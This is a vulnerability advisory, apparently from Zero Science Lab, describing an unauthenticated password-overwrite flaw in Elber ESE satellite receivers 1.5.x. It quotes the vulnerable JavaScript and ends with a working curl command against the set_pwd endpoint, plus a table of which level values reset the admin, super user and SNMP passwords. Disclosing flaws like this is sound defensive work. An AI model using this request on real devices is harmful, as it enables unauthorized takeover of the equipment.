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Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Authentication Bypass
Elber ESE DVB-S/S2 Satellite Receiver version 1.5.x suffers from an authentication bypass vulnerability through a direct and unauthorized access to the password management functionality. The issue allows attackers to bypass authentication by manipulating the set_pwd endpoint that enables them to overwrite the password of any user within the system. This grants unauthorized and administrative access to protected areas of the application compromising the device’s system security.
Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Authentication BypassVendor: Elber S.r.l.Product web page: https://www.elber.itAffected version: 1.5.179 Revision 904 1.5.56 Revision 884 1.229 Revision 440Summary: ESE (Elber Satellite Equipment) product line, designed for thehigh-end radio contribution and distribution market, where quality andreliability are most important. The Elber IRD (Integrated Receiver Decoder)ESE-01 offers a professional audio quality (and composite video) at anexcellent quality/price ratio. The development of digital satellite contributionnetworks and the need to connect a large number of sites require a cheapbut reliable and performing satellite receiver with integrated decoder.Desc: The device suffers from an authentication bypass vulnerability througha direct and unauthorized access to the password management functionality. Theissue allows attackers to bypass authentication by manipulating the set_pwdendpoint that enables them to overwrite the password of any user within thesystem. This grants unauthorized and administrative access to protected areasof the application compromising the device's system security.--------------------------------------------------------------------------/modules/pwd.html------------------50: function apply_pwd(level, pwd)51: {52: $.get("json_data/set_pwd", {lev:level, pass:pwd},53: function(data){54: //$.alert({title:'Operation',text:data});55: show_message(data);56: }).fail(function(error){57: show_message('Error ' + error.status, 'error');58: });59: }--------------------------------------------------------------------------Tested on: NBFM Controller embOS/IPVulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscienceAdvisory ID: ZSL-2024-5820Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5820.php18.08.2023--$ curl -s http://[TARGET]/json_data/set_pwd?lev=2&pass=admin1234Ref (lev param):Level 7 = SNMP Write Community (snmp_write_pwd)Level 6 = SNMP Read Community (snmp_read_pwd)Level 5 = Custom Password? hidden. (custom_pwd)Level 4 = Display Password (display_pwd)?Level 2 = Administrator Password (admin_pwd)Level 1 = Super User Password (puser_pwd)Level 0 = User Password (user_pwd)